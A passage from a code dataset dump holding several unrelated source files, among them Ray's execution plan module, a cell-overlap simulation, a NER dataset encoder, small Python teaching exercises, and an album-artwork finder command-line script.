plan_copy._snapshot_stats = self._snapshot_stats\n plan_copy._stages_before_snapshot = self._stages_before_snapshot.copy()\n plan_copy._stages_after_snapshot = self._stages_after_snapshot.copy()\n return plan_copy\n\n def deep_copy(self, preserve_uuid: bool = False) -> \"ExecutionPlan\":\n \"\"\"Create a deep copy of this execution plan.\n\n This copy can be executed AND cleared without mutating the original.\n\n Args:\n preserve_uuid: Whether to preserve the original UUID in the copy.\n\n Returns:\n A deep copy of this execution plan.\n \"\"\"\n dataset_uuid = None\n if preserve_uuid:\n dataset_uuid = self._dataset_uuid\n in_blocks = self._in_blocks\n if isinstance(in_blocks, BlockList):\n in_blocks = in_blocks.copy()\n plan_copy = ExecutionPlan(\n in_blocks, copy.copy(self._in_stats), dataset_uuid=dataset_uuid\n )\n if self._snapshot_blocks:\n # Copy over the existing snapshot.\n plan_copy._snapshot_blocks = self._snapshot_blocks.copy()\n plan_copy._snapshot_stats = copy.copy(self._snapshot_stats)\n plan_copy._stages_before_snapshot = self._stages_before_snapshot.copy()\n plan_copy._stages_after_snapshot = self._stages_after_snapshot.copy()\n return plan_copy\n\n def initial_num_blocks(self) -> int:\n \"\"\"Get the estimated number of blocks after applying all plan stages.\"\"\"\n if self.has_computed_output():\n return self._snapshot_blocks.initial_num_blocks()\n for stage in self._stages_after_snapshot[::-1]:\n if stage.num_blocks is not None:\n return stage.num_blocks\n if self._snapshot_blocks is not None:\n return self._snapshot_blocks.initial_num_blocks()\n for stage in self._stages_before_snapshot[::-1]:\n if stage.num_blocks is not None:\n return stage.num_blocks\n if self._in_blocks is not None:\n return self._in_blocks.initial_num_blocks()\n return None\n\n def schema(\n self, fetch_if_missing: bool = False\n ) -> Union[type, \"pyarrow.lib.Schema\"]:\n \"\"\"Get the schema after applying all plan stages.\n\n Args:\n fetch_if_missing: Whether to execute the plan to fetch the schema.\n\n Returns:\n The schema of the output dataset.\n \"\"\"\n if self._stages_after_snapshot:\n if fetch_if_missing:\n self.execute()\n else:\n return None\n # Snapshot is now guaranteed to be the output of the final stage or None.\n blocks = self._snapshot_blocks\n if not blocks:\n return None\n # Don't force fetching in case it's a lazy block list, in which case we\n # don't want to trigger full execution for a schema read. If we want to\n # trigger execution to get schema, we'll trigger read tasks progressively\n # until a viable schema is available, below.\n metadata = blocks.get_metadata(fetch_if_missing=False)\n # Some blocks could be empty, in which case we cannot get their schema.\n # TODO(ekl) validate schema is the same across different blocks.\n for m in metadata:\n if m.schema is not None and (m.num_rows is None or m.num_rows > 0):\n return m.schema\n if not fetch_if_missing:\n return None\n # Synchronously fetch the schema.\n # For lazy block lists, this launches read tasks and fetches block metadata\n # until we find valid block schema.\n for _, m in blocks.iter_blocks_with_metadata():\n if m.schema is not None and (m.num_rows is None or m.num_rows > 0):\n return m.schema\n return None\n\n def meta_count(self) -> Optional[int]:\n \"\"\"Get the number of rows after applying all plan stages if possible.\n\n This method will never trigger any computation.\n\n Returns:\n The number of records of the result Dataset, or None.\n \"\"\"\n if self._stages_after_snapshot:\n return None\n # Snapshot is now guaranteed to be the output of the final stage or None.\n blocks = self._snapshot_blocks\n metadata = blocks.get_metadata() if blocks else None\n if metadata and all(m.num_rows is not None for m in metadata):\n return sum(m.num_rows for m in metadata)\n else:\n return None\n\n def execute(\n self,\n allow_clear_input_blocks: bool = True,\n force_read: bool = False,\n ) -> BlockList:\n \"\"\"Execute this plan.\n\n Args:\n allow_clear_input_blocks: Whether we should try to clear the input blocks\n for each stage.\n force_read: Whether to force the read stage to fully execute.\n\n Returns:\n The blocks of the output dataset.\n \"\"\"\n if not self.has_computed_output():\n blocks, stats, stages = self._optimize()\n for stage_idx, stage in enumerate(stages):\n if allow_clear_input_blocks:\n clear_input_blocks = self._should_clear_input_blocks(\n blocks, stage_idx\n )\n else:\n clear_input_blocks = False\n stats_builder = stats.child_builder(stage.name)\n blocks, stage_info = stage(blocks, clear_input_blocks)\n if stage_info:\n stats = stats_builder.build_multistage(stage_info)\n else:\n stats = stats_builder.build(blocks)\n stats.dataset_uuid = uuid.uuid4().hex\n # Set the snapshot to the output of the final stage.\n self._snapshot_blocks = blocks\n self._snapshot_stats = stats\n self._snapshot_stats.dataset_uuid = self._dataset_uuid\n self._stages_before_snapshot += self._stages_after_snapshot\n self._stages_after_snapshot = []\n if _is_lazy(self._snapshot_blocks) and force_read:\n self._snapshot_blocks = self._snapshot_blocks.compute_to_blocklist()\n return self._snapshot_blocks\n\n def clear_block_refs(self) -> None:\n \"\"\"Clear all cached block references of this plan, including input blocks.\n\n This will render the plan un-executable unless the root is a LazyBlockList.\"\"\"\n self._in_blocks.clear()\n self._snapshot_blocks = None\n self._snapshot_stats = None\n # We're erasing the snapshot, so put all stages into the \"after snapshot\"\n # bucket.\n self._stages_after_snapshot = (\n self._stages_before_snapshot + self._stages_after_snapshot\n )\n self._stages_before_snapshot = []\n\n def stats(self) -> DatasetStats:\n \"\"\"Return stats for this plan, forcing execution if needed.\"\"\"\n self.execute()\n return self._snapshot_stats\n\n def _should_clear_input_blocks(\n self,\n blocks: BlockList,\n stage_idx: int,\n ):\n \"\"\"Whether the provided blocks should be cleared when passed into the stage.\n\n Args:\n blocks: The blocks that we may want to clear.\n stage_idx: The position of the stage in the optimized after-snapshot chain.\n \"\"\"\n if stage_idx != 0 or self._stages_before_snapshot:\n # Not the first stage, always clear stage input blocks.\n return True\n elif isinstance(blocks, LazyBlockList):\n # Always clear lazy input blocks since they can be recomputed.\n return True\n else:\n # Otherwise, we have non-lazy input blocks that's the source of this\n # execution plan, so we don't clear these.\n return False\n\n def _optimize(self) -> Tuple[BlockList, DatasetStats, List[Stage]]:\n \"\"\"Apply stage fusion optimizations, returning an updated source block list and\n associated stats, and a set of optimized stages.\n \"\"\"\n context = DatasetContext.get_current()\n blocks, stats, stages = self._get_source_blocks_and_stages()\n if context.optimize_fuse_stages:\n if context.optimize_fuse_read_stages:\n # If using a lazy datasource, rewrite read stage into one-to-one stage\n # so it can be fused into downstream stages.\n blocks, stats, stages = _rewrite_read_stages(\n blocks, stats, stages, self._dataset_uuid\n )\n stages = _fuse_one_to_one_stages(stages)\n self._last_optimized_stages = stages\n return blocks, stats, stages\n\n def _get_source_blocks_and_stages(\n self,\n ) -> Tuple[BlockList, DatasetStats, List[Stage]]:\n \"\"\"Get the source blocks, corresponding stats, and the stages for plan\n execution.\n\n If a computed snapshot exists and has not been cleared, return the snapshot\n blocks and stats; otherwise, return the input blocks and stats that the plan was\n created with.\n \"\"\"\n stages = self._stages_after_snapshot.copy()\n if self._snapshot_blocks is not None:\n if not self._snapshot_blocks.is_cleared():\n # If snapshot exists, we only have to execute the plan from the\n # snapshot.\n blocks = self._snapshot_blocks\n stats = self._snapshot_stats\n # Unlink the snapshot blocks from the plan so we can eagerly reclaim the\n # snapshot block memory after the first stage is done executing.\n self._snapshot_blocks = None\n else:\n # Snapshot exists but has been cleared, so we need to recompute from the\n # source (input blocks).\n blocks = self._in_blocks\n stats = self._in_stats\n stages = self._stages_before_snapshot + self._stages_after_snapshot\n else:\n # If no snapshot exists, we have to execute the full plan from the\n # beginning.\n blocks = self._in_blocks\n stats = self._in_stats\n if not self.has_lazy_input():\n # If not a lazy datasource, unlink the input blocks from the plan so we\n # can eagerly reclaim the input block memory after the first stage is\n # done executing.\n self._in_blocks = None\n return blocks, stats, stages\n\n def has_lazy_input(self) -> bool:\n \"\"\"Return whether this plan has lazy input blocks.\"\"\"\n return _is_lazy(self._in_blocks)\n\n def is_read_stage(self) -> bool:\n \"\"\"Return whether this plan only consists of a read stage.\"\"\"\n return (\n self.has_lazy_input()\n and not self._stages_before_snapshot\n and not self._stages_after_snapshot\n )\n\n def has_computed_output(self) -> bool:\n \"\"\"Whether this plan has a computed snapshot for the final stage, i.e. for the\n output of this plan.\n \"\"\"\n return (\n self._snapshot_blocks is not None\n and not self._stages_after_snapshot\n and not self._snapshot_blocks.is_cleared()\n )\n\n\nclass OneToOneStage(Stage):\n \"\"\"A stage that transforms blocks independently (e.g., map or filter).\"\"\"\n\n def __init__(\n self,\n name: str,\n block_fn: Callable[[Block], Block],\n compute: str,\n ray_remote_args: dict,\n ):\n super().__init__(name, None)\n self.block_fn = block_fn\n self.compute = compute or \"tasks\"\n self.ray_remote_args = ray_remote_args or {}\n\n def can_fuse(self, prev: Stage):\n if not isinstance(prev, OneToOneStage):\n return False\n if prev.compute != self.compute:\n return False\n if not _are_remote_args_compatible(prev.ray_remote_args, self.ray_remote_args):\n return False\n return True\n\n def fuse(self, prev: Stage):\n if not self.can_fuse(prev):\n raise ValueError(\n f\"Tried to fuse {prev} with {self}, but these are not fusable.\"\n )\n name = prev.name + \"->\" + self.name\n fn1 = prev.block_fn\n fn2 = self.block_fn\n\n def block_fn(block: Block) -> Iterable[Block]:\n for tmp1 in fn1(block):\n for tmp2 in fn2(tmp1):\n yield tmp2\n\n return OneToOneStage(name, block_fn, prev.compute, prev.ray_remote_args)\n\n def __call__(\n self, blocks: BlockList, clear_input_blocks: bool\n ) -> Tuple[BlockList, dict]:\n compute = get_compute(self.compute)\n blocks = compute._apply(\n self.block_fn, self.ray_remote_args, blocks, clear_input_blocks\n )\n assert isinstance(blocks, BlockList), blocks\n return blocks, {}\n\n\nclass AllToAllStage(Stage):\n \"\"\"A stage that transforms blocks holistically (e.g., shuffle).\"\"\"\n\n def __init__(\n self,\n name: str,\n num_blocks: Optional[int],\n fn: Callable[[BlockList, bool, Callable], Tuple[BlockList, dict]],\n supports_block_udf: bool = False,\n block_udf=None,\n remote_args=None,\n ):\n super().__init__(name, num_blocks)\n self.fn = fn\n self.supports_block_udf = supports_block_udf\n self.block_udf = block_udf\n self.ray_remote_args = remote_args or {}\n\n def can_fuse(self, prev: Stage):\n context = DatasetContext.get_current()\n # TODO(ekl) also support fusing shuffle stages to subsequent 1:1 stages.\n if not context.optimize_fuse_shuffle_stages:\n return False\n if not self.supports_block_udf:\n return False\n if not isinstance(prev, OneToOneStage):\n return False\n if prev.compute != \"tasks\":\n return False\n if any(k not in INHERITABLE_REMOTE_ARGS for k in prev.ray_remote_args):\n return False\n return True\n\n def fuse(self, prev: Stage):\n if not self.can_fuse(prev):\n raise ValueError(\n f\"Tried to fuse {prev} with {self}, but these are not fusable.\"\n )\n assert self.supports_block_udf\n name = prev.name + \"->\" + self.name\n return AllToAllStage(\n name, self.num_blocks, self.fn, True, prev.block_fn, prev.ray_remote_args\n )\n\n def __call__(\n self, blocks: BlockList, clear_input_blocks: bool\n ) -> Tuple[BlockList, dict]:\n blocks, stage_info = self.fn(\n blocks, clear_input_blocks, self.block_udf, self.ray_remote_args\n )\n assert isinstance(blocks, BlockList), blocks\n return blocks, stage_info\n\n\ndef _rewrite_read_stages(\n blocks: BlockList,\n stats: DatasetStats,\n stages: List[Stage],\n dataset_uuid: str,\n) -> Tuple[BlockList, DatasetStats, List[Stage]]:\n \"\"\"Rewrites read stages into one-to-one stages, if needed.\"\"\"\n if _is_lazy(blocks) and stages:\n blocks, stats, stage = _rewrite_read_stage(blocks)\n stats.dataset_uuid = dataset_uuid\n stages.insert(0, stage)\n return blocks, stats, stages\n\n\ndef _rewrite_read_stage(\n in_blocks: LazyBlockList,\n) -> Tuple[BlockList, DatasetStats, Stage]:\n \"\"\"Rewrite the read stage to a OneToOne stage over read tasks as input.\n\n For example, suppose the plan was [Read -> MapBatches(Fn)]. These stages cannot\n be fused, since read stages are handled specially.\n After rewriting to [GetReadTasks -> MapBatches(DoRead) -> MapBatches(Fn)],\n now we can fuse the latter two MapBatches stages into a single OneToOne stage:\n [GetReadTasks -> MapBatches(DoRead -> Fn)].\n\n Args:\n blocks: Lazy block list representing read stage.\n\n Returns:\n Non-lazy block list containing read tasks for not-yet-read block partitions,\n new stats for the block list, and the new one-to-one read stage.\n \"\"\"\n # Generate the \"GetReadTasks\" stage blocks.\n remote_args = in_blocks._remote_args\n blocks, metadata = [], []\n for read_task in in_blocks._tasks:\n blocks.append(ray.put(read_task._read_fn))\n metadata.append(read_task.get_metadata())\n block_list = BlockList(blocks, metadata)\n\n def block_fn(read_fn: Callable[[], Iterator[Block]]) -> Iterator[Block]:\n for block in read_fn():\n yield block\n\n stage = OneToOneStage(\"read\", block_fn, \"tasks\", remote_args)\n stats = DatasetStats(stages={}, parent=None)\n return block_list, stats, stage\n\n\ndef _fuse_one_to_one_stages(stages: List[Stage]) -> List[Stage]:\n \"\"\"Fuses compatible one-to-one stages.\n\n Args:\n stages: Stages to try to fuse.\n\n Returns:\n Fused stages.\n \"\"\"\n fused_stages = []\n prev_stage = None\n for idx, stage in enumerate(stages):\n if prev_stage is None:\n prev_stage = stage\n elif stage.can_fuse(prev_stage):\n prev_stage = stage.fuse(prev_stage)\n else:\n fused_stages.append(prev_stage)\n prev_stage = stage\n if prev_stage:\n fused_stages.append(prev_stage)\n prev_stage = None\n return fused_stages\n\n\ndef _are_remote_args_compatible(prev_args, next_args):\n \"\"\"Check if Ray remote arguments are compatible for merging.\"\"\"\n remote_args = next_args.copy()\n for key in INHERITABLE_REMOTE_ARGS:\n if key in prev_args:\n remote_args[key] = prev_args[key]\n if prev_args != remote_args:\n return False\n return True\n\n\ndef _is_lazy(blocks: BlockList) -> bool:\n \"\"\"Whether the provided block list is lazy.\"\"\"\n return isinstance(blocks, LazyBlockList)\n","sub_path":"python/ray/data/impl/plan.py","file_name":"plan.py","file_ext":"py","file_size_in_byte":21796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"469405533","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCorrect overlap\n\n@author: Marzieh Tehrani\n@commented: Harrison Paul Cooper, 2017\n@updated: Harrison Paul Cooper, 2018\n@last_updated: Harrison Paul Cooper, 23/04/2018\n\"\"\"\nimport random\nimport numpy as np\n\n\nimport matplotlib.pyplot as plt\n\n\ndef initiate_OC(env):\n \"\"\"\n Main overlap function.\n\n Adds the three agents to the list cells and their positions to the list values\n :param env: The size of the environment and number and type of agents present\n :return: An environment where no cells are overlapping\n \"\"\"\n cells = []\n for cell in env.senescent_cells:\n cells.append(cell)\n for cell in env.proliferating_cells:\n cells.append(cell) \n for cell in env.quiescent_cells:\n cells.append(cell)\n\n values = [[[0 for k in range(2)] for j in range(1)] for i in range(len(cells))]\n\n for cell in range(len(cells)):\n # initial position and displacement values for all the cells (t=0)\n values[cell][0] = [cells[cell].pos[0], cells[cell].pos[1]] # [xi, yi]\n\n plot_values = [[0 for j in range(0)] for i in range(2)] # row1 = tally, row2 = overlap error\n check_overlap(env, cells, values, plot_values, OCM_it=0)\n\n\ndef check_overlap(env, cells, values, plot_values, OCM_it):\n \"\"\"\n Checks to see if any two cells are overlapping.\n\n :param env: The size of the environment and number and type of agents present\n :param cells: List of each agent currently in iteration\n :param values: Array of each cells xi, yi position\n :param plot_values: row1 = tally, row2 = overlap error\n :param OCM_it:\n :return: List of overlapping cells\n \"\"\"\n overlap_tally = 0 \n overlap_error = 0\n overlap = [[0 for k in range(len(cells))] for j in range(len(cells))]\n \n for i in range(len(overlap)):\n xi = values[i][len(values[i])-1][0]\n yi = values[i][len(values[i])-1][1]\n ri = cells[i].radius\n for j in range(i, len(overlap)):\n if i != j:\n xj = values[j][len(values[j])-1][0]\n yj = values[j][len(values[j])-1][1]\n rj = cells[j].radius\n \n if not rj:\n rj = ri\n\n overlap[i][j] = np.sqrt((xj-xi)**2+(yj-yi)**2) - (ri+rj)\n\n if overlap[i][j] < -(ri+rj)/100.0:\n overlap_tally += 1\n overlap_error += overlap[i][j]\n \n plot_values[0].append(overlap_tally)\n plot_values[1].append(overlap_error*-1.0)\n\n if overlap_tally > 0 and OCM_it < 200:\n correct_overlap(env, cells, values, plot_values, OCM_it)\n \n if overlap_tally == 0 and OCM_it < 200:\n update_pos_ABM(env, values) \n display_plot_values(plot_values, OCM_it)\n\n if overlap_tally >= 0 and OCM_it == 200:\n update_pos_ABM(env, values)\n # update_radii(env, cells, overlap)\n display_plot_values(plot_values, OCM_it)\n\n \ndef correct_overlap(env, cells, values, plot_values, OCM_it):\n \"\"\"\n Any overlapping cells have different localised positions tested to see if that corrects them.\n\n :param env: The size of the environment and number and type of agents present\n :param cells: List of each agent currently in iteration\n :param values: Array of each cells xi, yi position\n :param plot_values: row1 = tally, row2 = overlap error\n :param OCM_it:\n :return: List of positions overlapping cells need to be moved to\n \"\"\"\n for i in range(len(values)):\n ri = cells[i].radius\n xi = values[i][len(values[i])-1][0] # current x value (most updated)\n yi = values[i][len(values[i])-1][1] # current y value (most updated)\n\n neighbour = [] # neighbour ([0:prev_xj, 1:prev_yi, 2:prev_uxj, 3:prev_uyj, 4:kij, 5:kijx, 6:kijy])\n\n for j in range(len(values)):\n if i != j:\n xj = values[j][len(values[j])-1][0]\n yj = values[j][len(values[j])-1][1]\n rj = cells[j].radius\n dist_ij = np.sqrt((xj-xi)**2+(yj-yi)**2)\n\n if not ri:\n ri = rj\n\n if not rj:\n rj = ri\n\n if (dist_ij-(ri+rj)) < -(ri+rj)/100.0:\n Lij = ri + rj\n dist_ijx = abs(xj-xi)\n dist_ijy = abs(yj-yi)\n uijx = (xj-xi)/dist_ij\n uijy = (yj-yi)/dist_ij\n neighbour.append([Lij, dist_ijx, dist_ijy, uijx, uijy])\n\n if len(neighbour) > 0:\n totalx = 0\n totaly = 0 \n for j in range(len(neighbour)):\n Lij = neighbour[j][0]\n dist_ijx = neighbour[j][1]\n dist_ijy = neighbour[j][2]\n uijx = neighbour[j][3]\n uijy = neighbour[j][4]\n totalx = totalx + (uijx*(dist_ijx-Lij))\n totaly = totaly + (uijy*(dist_ijy-Lij))\n\n new_xi = xi + 0.1*totalx\n new_yi = yi + 0.1*totaly\n\n # To ensure cells don't move off model\n if new_xi > (env.size - ri):\n new_xi = (env.size - ri)-random.random()*0.02\n\n if new_xi < ri:\n new_xi = ri+random.random()*0.02\n\n if new_yi > (env.size - ri):\n new_yi = (env.size - ri)-random.random()*0.02\n\n if new_yi < ri:\n new_yi = ri+random.random()*0.02 \n \n values[i].append([new_xi, new_yi])\n\n if len(neighbour) > 3: # parameter: changeable for confluence\n if not cells[i].iscluster:\n cells[i].iscluster = True\n else:\n cells[i].iscluster = False\n\n check_overlap(env, cells, values, plot_values, OCM_it+1)\n\n\ndef update_pos_ABM(env, values):\n \"\"\"\n Updates overlapping cells positions.\n\n :param env: The size of the environment and number and type of agents present\n :param values: Array of each cells xi, yi position\n :return: Updated cells positions\n \"\"\"\n i = 0 \n for agent in env.senescent_cells:\n npos = np.zeros(2)\n npos[0] = values[i][len(values[i])-1][0]\n npos[1] = values[i][len(values[i])-1][1]\n agent.move_cell(npos)\n i += 1\n for agent in env.proliferating_cells:\n npos = np.zeros(2)\n npos[0] = values[i][len(values[i])-1][0]\n npos[1] = values[i][len(values[i])-1][1]\n agent.move_cell(npos)\n i += 1\n for agent in env.quiescent_cells:\n npos = np.zeros(2)\n npos[0] = values[i][len(values[i])-1][0]\n npos[1] = values[i][len(values[i])-1][1]\n agent.move_cell(npos)\n i += 1\n\n\ndef update_radii(env, cells, overlap):\n \"\"\"\n\n :param env:\n :param cells:\n :param overlap:\n :return:\n \"\"\"\n for i in range(len(overlap)):\n ri = cells[i].radius\n for j in range(len(overlap)):\n rj = cells[j].radius\n if overlap[i][j] < -(ri+rj)/50.0:\n cells[i].radius = ri - overlap[i][j]/-10.0\n cells[j].radius = rj - overlap[i][j]/-10.0\n\n i = 0\n for agent in env.senescent_cells:\n agent.radius = cells[i].radius\n i += 1\n for agent in env.proliferating_cells:\n agent.radius = cells[i].radius\n i += 1\n for agent in env.quiescent_cells:\n agent.radius = cells[i].radius\n i += 1\n\n\ndef display_plot_values(plot_values, OCM_it):\n \"\"\"\n Displays graph of number of overlapping cells each OCM_it\n\n :param plot_values: row1 = tally, row2 = overlap error\n :param OCM_it:\n :return: Graph of overlapping cell numbers\n \"\"\"\n time = []\n for i in range(OCM_it+1):\n time.append(i)\n f, axarr = plt.subplots(2, sharex=True)\n axarr[0].plot(time, plot_values[0])\n axarr[0].set_title('Number of pairs of overlapping cells')\n axarr[1].plot(time, plot_values[1])\n axarr[1].set_title('Total overlap error')\n axarr[1].set_xlabel('OCM_it') \n","sub_path":"overlap.py","file_name":"overlap.py","file_ext":"py","file_size_in_byte":7978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"310396178","text":"\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport string\nimport random\nimport math\nimport sys\n\nclass DatasetEncoder:\n # Each sentence must be array of tuple (word, tag)\n def __init__(self, embeddings_resolver, tag2id = {'O': 0}, piece_tag = '[X]'):\n self.char2id = {c:i + 1 for i, c in enumerate(string.printable)}\n self.tag2id = tag2id\n self.embeddings_resolver = embeddings_resolver\n self.piece_tag = piece_tag\n \n def shuffle(self):\n random.shuffle(self.sentences)\n \n @staticmethod\n def normalize(word):\n return word.strip().lower()\n \n def get_char_indexes(self, word):\n result = []\n for c in word:\n char_id = self.char2id.get(c, len(self.char2id) - 1)\n result.append(char_id)\n\n return result\n \n def encode(self, sentences, output=False):\n for sentence in sentences:\n dataset_words = [word for (word, tag) in sentence]\n word_embeddings = self.embeddings_resolver.resolve_sentence(dataset_words)\n \n # Zip Embeddings and Tags\n words = []\n tags = []\n char_ids = []\n tag_ids = []\n is_word_start = []\n embeddings = []\n \n i = 0\n \n for item in word_embeddings:\n words.append(item.piece)\n \n if item.is_word_start:\n assert i < len(sentence), 'i = {} is more or equal than length of {}, during zip with {}'.format(i, sentence, word_embeddings)\n tag = sentence[i][1]\n i += 1\n else:\n tag = self.piece_tag\n \n tag_id = self.tag2id.get(tag, len(self.tag2id))\n self.tag2id[tag] = tag_id\n \n tags.append(tag)\n tag_ids.append(tag_id)\n\n embeddings.append(item.vector)\n is_word_start.append(item.is_word_start)\n \n char_ids.append(self.get_char_indexes(item.piece))\n \n if len(sentence) > 0:\n yield {\n \"words\": words,\n \"tags\": tags,\n \"char_ids\": char_ids,\n \"tag_ids\": tag_ids,\n \"is_word_start\": is_word_start,\n \"word_embeddings\": np.array(embeddings, dtype=np.float16)\n }","sub_path":"examples/python/training/english/dl-ner/nerdl-graph/dataset_encoder.py","file_name":"dataset_encoder.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"641032005","text":"## Date: 04.09.2016\n## Author: Anna Majewski\n## Description: Aufgabe 2\n## Zuerst ein Dictionary erstellen, Sachen mit Indizes herauslesen, dann zusätzlichen Eintrag speichern.\n\nfrom pprint import pprint\n# damit Sachen schick angezeigt werden\n\nbuch = {\"Vorname\":\"Max\",\n \"Nachname\": \"Mustermann\",\n \"Hobbies\": [\"Schwimmen\", \"Tanzen\", \"Lesen\"],\n# Hobbies wird als Liste eingefügt, da es nicht immer gleich viele Felder haben wird.\n \"Alter\": 43,\n \"Eigenschaften\":\n# Eigenschaften ist ein eigenes dictionary.\n {\"Geschicklichkeit\": 10,\n \"IQ\": 98,\n \"Gewicht\": 88,\n \"Haarfarbe\": \"blond\"},\n \"Geschlecht\": \"männlich\"}\n\n## Wrap it up in a list\naddressbuch = [buch]\npprint(addressbuch)\n\n## Zusätzliche Aufgaben:\n# Geben Sie den IQ aus.\n\nprint(\"Der IQ beträgt:\", addressbuch[0][\"Eigenschaften\"][\"IQ\"])\n\n# Geben Sie die Anzahl der Hobbies aus\n\ncount = 0\nfor x in addressbuch[0][\"Hobbies\"]:\n count += 1\nprint(\"Die Anzahl der Hobbies ist:\", count)\n\n# Fügen Sie einen ähnlichen Datensatz hinzu.\n# Da es eine Liste ist, kann man mit .append einen Eintrag hinzufügen.\n\naddressbuch.append({\"Vorname\": \"Taka\", \"Nachname\": \"Baka\", \"Hobbies\": [\"Games\", \"Webdesign\"], \"Eigenschaften\": {\"Haarfarbe\": \"braun\"},\"Geschlecht\": \"weiblich\"})\n\n# Zeigen Sie die Länge des Addressbuchs an\n\nlength = len(addressbuch)\nprint (\"Die Länge des Addressbuchs ist:\", length)\n","sub_path":"AnnaMajewski/aufgabe2.py","file_name":"aufgabe2.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"170909297","text":"#!/usr/bin/python\n\nimport sys\nsys.argv.append('-b')\nimport ROOT\n\nff = ROOT.TFile(sys.argv[1])\n\nqq = sys.argv[1]\nww = qq.split(\"/\")\nzz = ww[-1]\n\nfor kk in ff.GetListOfKeys():\n obj = kk.ReadObj()\n print(obj.__class__)\n print(obj.GetTitle())\n print(obj.GetNbinsX())\n print(obj.GetNbinsY())\n #print(\"value of x bin is: \")\n #print(obj.GetXaxis().FindBin(100))#obj.FindLastBinAbove()))\n#h1 = ff.Get(\"5038_H_proton_DeltaBeta_momentum_S2\")#.ProjectionY(\"cutg\",0,40,\"[cutg]\")#5038_Hist_deltaB_psec1_layer1\")#.ProjectionY(\"cutg\",0,40,\"[cutg]\")\n\n#h1 = ff.Get(\"5039_Hist_deltaB_psec1_layer1\")#.ProjectionY(\"cutg\",0,40,\"[cutg]\")\n\n\ntype1 = \"output_file_histos_hist_theta_proton_electron_no_cuts\"\ntype2 = \"output_file_histos_hist_xB_nocuts\"\n#type2 = \"5039_Hist_deltaB_psec1_layer1\"\ntype3 = \"5039_Hist_beta_p2sec1_layer1\"\ntype4 = \"5039_Hist_beta_p_ctof\"\n\ntypeX = int(sys.argv[2])\nprint(\"type to print is {0}\".format(typeX))\n\nif typeX==1:\n type = type1\nelif typeX==2:\n type = type2\nelif typeX==3:\n type = type3\nelif typeX==4:\n type = type4\nelse:\n print(\"type not found, ISSUE!!!!\")\n\nprint(type)\nh1 = ff.Get(type)\n\nc1 = ROOT.TCanvas('c1','c1',100,100)\nc1.SetLogz()\nh1.Draw(\"colz\")\nc1.Print(\"../plots/full_{}_{}.pdf\".format(zz,type))\n","sub_path":"python/src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"140086177","text":"#10) Escreva um programa para calcular a redução\n#do tempo de vida de um fumante. Pergunte a\n#quantidade de cigarros fumados por dia e\n#quantos anos ele já fumou. Considere que um fumante\n#perde 10 minutos de vida a cada cigarro,\n#calcule quantos dias de vida um fumante perderá. Exiba o\n#total de dias.\n\ncig = int(input (\"qts cigarros por dia? \"))\nano = int(input (\"a quanto anos fuma? \"))\ntotFumado = (cig * ano * 365 * 24) /6 /24\nprint(\"dias de vida perdido de %d\" %totFumado)\n","sub_path":"exercicios/ex1-10.py","file_name":"ex1-10.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"155290758","text":"import argparse, os\nfrom .cover_finder import CoverFinder, DEFAULTS\n\n# This script searches apple music for artwork that is missing from your library\n# It saves the artwork alongside the audio and embeds the artwork into the meta tags\n\n# By default it will scan from the current working directory, you can override this\n# with commandline parameters or arguments passed into scan_folder()\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--path', help=\"audio file, or folder of audio files (recursive)\", default=\".\")\n\nparser_art = parser.add_argument_group('artwork options')\nparser_art.add_argument('--art-dest', '--dest', help=\"set artwork destination folder\", default=DEFAULTS.get('cover_art'))\nparser_art.add_argument('--art-dest-inline', '--inline', help=\"put artwork in same folders as audio files\", action='store_true')\nparser_art.add_argument('--art-dest-filename', default=DEFAULTS.get('art_dest_filename'), help=\"set artwork destination filename format. Accepts {artist}, {album}, and {title}. Default '{artist} - {album}.jpg\")\nparser_art.add_argument('--external-art-mode', choices=['before', 'after', 'none'], default=DEFAULTS.get('external_art_mode'), help='Use image from local folder; \"before\" prevents downloads, \"after\" uses as a fallback. Default is none.')\nparser_art.add_argument('--external-art-filename', default=DEFAULTS.get('external_art_filename'), help=\"Filename(s) of folder art to use. Accepts {artist}, {album}, and {title} for replacement: e.g. cover.jpg or {album}-{artist}.jpg\", nargs=\"+\")\n\nparser_behavior = parser.add_argument_group('behavior options')\nparser_behavior.add_argument('--test', '--no_embed', help=\"scan and download only, don't embed artwork\", action='store_true')\nparser_behavior.add_argument('--clear', help=\"clear artwork from audio file (regardless of finding art)\", action='store_true')\nparser_behavior.add_argument('--no_download', help=\"embed only previously-downloaded artwork\", action='store_true')\nparser_behavior.add_argument('--force', help=\"overwrite existing artwork\", action='store_true')\nparser_behavior.add_argument('--verbose', help=\"print verbose logging\", action='store_true')\nparser_behavior.add_argument('--throttle', help=\"number of seconds between queries\", default=0)\n\nparser_filters = parser.add_argument_group('filter options')\nparser_filters.add_argument('--skip_artists', help=\"file containing artists to skip\", default=DEFAULTS.get('skip_artists'))\nparser_filters.add_argument('--skip_albums', help=\"file containing albums to skip\", default=DEFAULTS.get('skip_albums'))\nparser_filters.add_argument('--skip_artwork', help=\"file containing destination art files to skip\", default=DEFAULTS.get('skip_artwork'))\nargs = parser.parse_args()\n\nfinder = CoverFinder(vars(args))\nif os.path.isfile(args.path):\n finder.scan_file(args.path)\nelse:\n finder.scan_folder(args.path)\nprint()\nnum_processed = len(finder.files_processed)\nnum_skipped = len(finder.files_skipped)\nnum_failed = len(finder.files_failed)\nprint(\"Done! Processed: %d, Skipped: %d, Failed: %d\" % (num_processed, num_skipped, num_failed))\nif finder.art_folder_override:\n print(\"Artwork folder: \" + finder.art_folder_override)\nelse:\n print(\"Artwork files are alongside audio 